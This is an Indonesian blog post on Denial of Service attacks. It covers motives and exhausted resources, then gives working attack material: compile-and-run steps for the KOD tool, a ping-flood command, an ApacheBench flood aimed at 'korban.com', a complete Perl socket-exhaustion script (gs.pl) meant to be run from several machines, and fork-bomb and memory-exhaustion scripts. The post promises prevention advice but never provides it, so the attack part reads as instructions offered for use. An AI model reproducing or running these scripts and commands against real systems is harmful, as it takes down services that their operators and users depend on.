Pages

Rabu, 08 September 2010

Serangan Denial of Service(DOS)

Pada dasarnya saya mencoba memberikan gambaran umum tentang Denial of Service atau yang lebih kitakenal dengan DoS. Beberapa pertanyaan yang mungkin bisa terjawab diantaranya :
1. Apa itu DoS ?
2. Apa motif cracker untuk melakukan itu ?
3. Bagaimana cara melakukannya ?
4. Apa yang harus saya lakukan untuk mencegahnya ?
Semuanya untuk anda, ENJOY !!.Apa itu Denial of Service (DoS) ?
Denial of Service adalah aktifitas menghambat kerja sebuah layanan (servis) atau mematikan-nya, sehingga
user yang berhak/berkepentingan tidak dapat menggunakan layanan tersebut. Dampak akhir dari aktifitas ini menjurus kepada tehambatnya aktifitas korban yang dapat berakibat sangat fatal (dalam kasus tertentu).
Pada dasarnya Denial of Service merupakan serangan yang sulit diatasi, hal ini disebabkan oleh resiko layanan publik dimana admin akan berada pada kondisi yang membingungkan antara layanan dan kenyamanan terhadap keamanan. Seperti yang kita tahu, keyamanan berbanding terbalik dengan keamanan. Maka resiko yang mungkin timbul selalu mengikuti hukum ini.
Beberapa aktifitas DoS adalah:
1. Aktifitas ‘flooding’ terhadap suatu server.
2. Memutuskan koneksi antara 2 mesin.
3. Mencegah korban untuk dapat menggunakan layanan.
4. Merusak sistem agar korban tidak dapat menggunakan layanan.
Motif penyerang melakukan Denial of Service
Menurut Hans Husman (t95hhu@student.tdb.uu.se), ada beberapa motif cracker dalam melakukan Denial of
Service yaitu:
1. Status Sub-Kultural.
2. Untuk mendapatkan akses.
3. Balas dendam.
4. Alasan politik.
5. Alasan ekonomi.
6. Tujuan kejahatan/keisengan.
Status subkultural dalam dunia hacker, adalah sebuah unjuk gigi atau lebih tepat kita sebut sebagai pencarian
jati diri. Adalah sebuah aktifitas umum dikalangan hacker-hacker muda untuk menjukkan kemampuannya dan Denial of Service merupakan aktifitas hacker diawal karirnya.
Alasan politik dan ekonomi untuk saat sekarang juga merupakan alasan yang paling relevan. Kita bisa melihat dalam ‘perang cyber’ (cyber war), serangan DoS bahkan dilakukan secara terdistribusi atau lebih dikenal dengan istilah ‘distribute Denial of Service’. Beberapa kasus serangan virus semacam ‘code-red’ melakukan
serangan DoS bahkan secara otomatis dengan memanfaatkan komputer yang terinfeksi, komputer ini disebut ‘zombie’ dalam jargon. Lebih relevan lagi, keisengan merupakan motif yang paling sering dijumpai. Bukanlah hal sulit untuk mendapatkan program-program DoS, seperti nestea, teardrop, land, boink, jolt dan vadim. Program-program DoS dapat melakukan serangan Denial of Service dengan sangat tepat, dan yang terpenting sangat mudah untuk melakukannya. Cracker cukup mengetikkan satu baris perintah pada Linux Shell yang berupa ./nama_programargv argc …Denial of Sevice, serangan yang menghabiskan resource
Pada dasarnya, untuk melumpuhkan sebuah layanan dibutuhkan pemakaian resource yang besar, sehingga
komputer/mesin yang diserang kehabisan resource dan manjadi hang. Beberapa jenis resource yang dihabiskan diantaranya:
A. Swap Space
B. Bandwidth
C. Kernel Tables
D. RAM
E. Disk
F. Caches
G. INETD
A. Swap Space
Hampir semua sistem menggunakan ratusan MBs spasi swap untuk melayani permintaan client. Spasi swap
juga digunakan untuk mem-’forked’ child process. Bagaimanapun spasi swap selalu berubah dan digunakan
dengan sangat berat. Beberapa serangan Denial of Service mencoba untuk memenuhi (mengisi) spasi swap ini.
B. Bandwidth
Beberapa serangan Denial of Service menghabiskan bandwidth.
C. Kernel Tables
Serangan pada kernel tables, bisa berakibat sangat buruk pada sistem. Alokasi memori kepada kernel juga
merupakan target serangan yang sensitif. Kernel memiliki kernelmap limit, jika sistem mencapai posisi ini,
maka sistem tidak bisa lagi mengalokasikan memory untuk kernel dan sistem harus di re-boot.
D. Ram
Serangan Denial of Service banyak menghabiskan RAM sehingga sistem mau-tidak mau harus di re-boot.
E. Disk
Serangan klasik banyak dilakukan dengan memenuhi Disk.
F. Caches
G. INETD
Sekali saja INETD crash, semua service (layanan) yang melalui INETD tidak akan bekerja.
Teknik Melakukan Denial of Service
Melakukan DoS sebenarnya bukanlah hal yang sulit dilakukan. Berhubung DoS merupakan dampak buruk
terhadap sebuah layanan publik, cara paling ampuh untuk menghentikannya adalah menutup layanan tersebut.
Namun tentu saja hal ini tidak mengasikkan dan juga tidak begitu menarik.
Kita akan bahas tipe-tipe serangan DoS. �� SYN-Flooding
SYN-Flooding merupakan network Denial ofService yang memanfaatkan ‘loophole’
pada saat koneksi TCP/IP terbentuk. Kernel Linux terbaru (2.0.30 dan yang lebih
baru) telah mempunyai option konfigurasi untuk mencegah Denial of Service
dengan mencegahmenolak cracker untuk mengakses sistem. �� Pentium ‘FOOF’ Bug
Merupakan serangan Denial of Service terhadap prosessor Pentium yang
menyebabkan sistem menjadi reboot. Hal ini tidak bergantung terhadap jenis
sistem operasi yang digunakan tetapi lebih spesifik lagi terhadap prosessor
yang digunakan yaitu pentium. �� Ping Flooding
Ping Flooding adalah brute force Denial of Service sederhana. Jika serangan
dilakukan oleh penyerang dengan bandwidth yang lebih baik dari korban, maka
mesin korban tidak dapat mengirimkan paket data ke dalam jaringan (network).
Hal ini terjadi karena mesin korban di banjiri (flood) oleh peket-paket ICMP.
Varian dari serangan ini disebut “smurfing”
(http://www.quadrunner.com/~chuegen/smurf.txt).
Serangan menggunakan exploits.
Beberapa hal yang harus dipahami sebelum melakukan serangan ini adalah:
A. Serangan membutuhkan Shell Linux (Unix/Comp)
B. Mendapatkan exploits di: http://packetstormsecurity.nl (gunakan
fungsi search agar lebih mudah)
C. Menggunakan/membutuhkan GCC (Gnu C Compiler)
1. KOD (Kiss of Death)
Merupakan tool Denial of Service yang dapat dugunakan untuk menyerang Ms.
Windows pada port 139 (port netbios-ssn). Fungsi utama dari tool ini adalah
membuat hang/blue screen of death pada komputer korban.
Cara penggunaan:
A. Dapatkan file kod.c
B. Compile dengan Gcc: $ gcc -o kod kod.c
C. Gunakan: $ kod [ip_korban] -p [port] -t [hits]
Kelemahan dari tool ini adalah tidak semua serangan berhasil, bergantung
kepada jenis sistem operasi dan konfigurasi server target (misalmya: blocking)
2. BONK/BOINK
Bong adalah dasar dari teardrop (teardrop.c). Boink merupakan Improve dari
bonk.c yang dapat membuat crash mesin MS. Windows 9x dan NT
3. Jolt
Jolt sangat ampuh sekali untuk membekukan Windows 9x dan NT. Cara kerja Jolt
yaitu mengirimkan serangkaian series of spoofed dan fragmented ICMP Packet
yang tinggi sekali kepada korban.
4. NesTea
Tool ini dapat membekukan Linux dengan Versi kernel 2.0. kebawah dan Windows
versi awal. Versi improve dari NesTea dikenal dengan NesTea2
5. NewTear
Merupakan varian dari teardrop (teardrop.c) namun berbeda dengan bonk (bonk.c)
6. Syndrop
Merupakan ‘serangan gabungan’ dari TearDrop dan TCP SYN Flooding. Target
serangan adalah Linux dan Windows
7. TearDrop
TearDrop mengirimkan paket Fragmented IP ke komputer (Windows) yang terhubung
ke jaringan (network). Serangan ini memanfaatkan overlapping ip fragment, bug yang
terdapat pada Windowx 9x dan NT. Dampak yang timbul dari serangan ini adalah Blue
Screen of Death
Serangan langsung (+ 31337)
1. Ping Flood
Membutuhkan akses root untuk melakukan ini pada sistem Linux. Implementasinya
sederhana saja, yaitu dengan mengirimkan paket data secara besar-besaran.
bash # ping -fs 65000 [ip_target]
2. Apache Benchmark
Program-program Benchmark WWW, digunakan untuk mengukur kinerja (kekuatan)
suatu web server, namun tidak tertutup kemungkinan untuk melakukan
penyalahgunaan.
bash $ /usr/sbin/ab -n 10000 -c 300 \
http://korban.com/cgi-bin/search.cgi?q=kata+yang+cukup+umum
(diketik dalam 1 baris!)
Akan melakukan 10000 request paralel 300 kepada host korban.com
3. Menggantung Socket
Apache memiliki kapasitas jumlah koneksi yang kecil. Konfigurasi universal oleh Apache
Software Foundation adalah MaxClients 150, yang berarti hanyak koneksi yang
diperbolehkan mengakses Apache dibatasi sebanyak 150 clients. Jumlah ini sedikit banyak
dapat berkurang mengingat browser lebih dari 1 request simultan dengan koneksi terpisah
-pisah.
Penyerang hanya melakukan koneksi lalu diam, pada saat itu apache akan menunggu
selama waktu yang ditetukan direktif TimeOut (default 5 menit). Dengan mengirimkan
request simultan yang cukup banyak penyerang akan memaksa batasan maksimal
MaxClients. Dampak yang terjadi, clien yang mengakses apache akan tertunda dan apa bila
backlog TCP terlampaui maka terjadi penolakan, seolah-olah server korban tewas.
Script gs.pl (gantung socket)
#!/usr/bin/perl
#
# Nama Script : gs.pl
# Tipe : Denial of Service (DoS)
# Auth : MOBY || eCHo –> moby@echo.or.id || mobygeek@telkom.net
# URL : www.echo.or.id
#
use IO::Socket;
if (!$ARGV[1]) {
print “Gunakan: perl gs.pl [host] [port] \n”;
exit;
}
for (1..1300) {
$fh{$_}=new IO::Socket::INET
PeerAddr=> “$ARGV[0]“,
PeerPort=> “$ARGV[1]“,
Proto => “tcp”
or die; print “$_\n”
}
# END. 27 Oktober 2003
# Lakukan dari beberapa LoginShell (komputer) !
DoS-ing Apache lagi !!
Beberapa contoh skrip perl untuk melakukan DoS-ing secara local.
1. Fork Bomb, habiskan RAM
#!/usr/bin/perl
fork while 1;
2. Habiskan CPU
#!/usr/bin/perl
for (1..100) { fork or last }
1 while ++$i
3. Habiskan Memory
#!/usr/bin/perl
for (1..20) { fork or last }
while(++$i) { fh{$i} = “X” x 0xff; }
4. Serangan Input Flooding
Saya mengamati serangan ini dari beberapa advisories di BugTraq. Remote Buffer
Overflow yang menghasilkan segmentation fault (seg_fault) dapat terjadi secara remote jika
demon (server) tidak melakukan verifikasi input sehingga input membanjiri buffer dan
menyebabkan program dihentikan secara paksa.

0 komentar:

Posting Komentar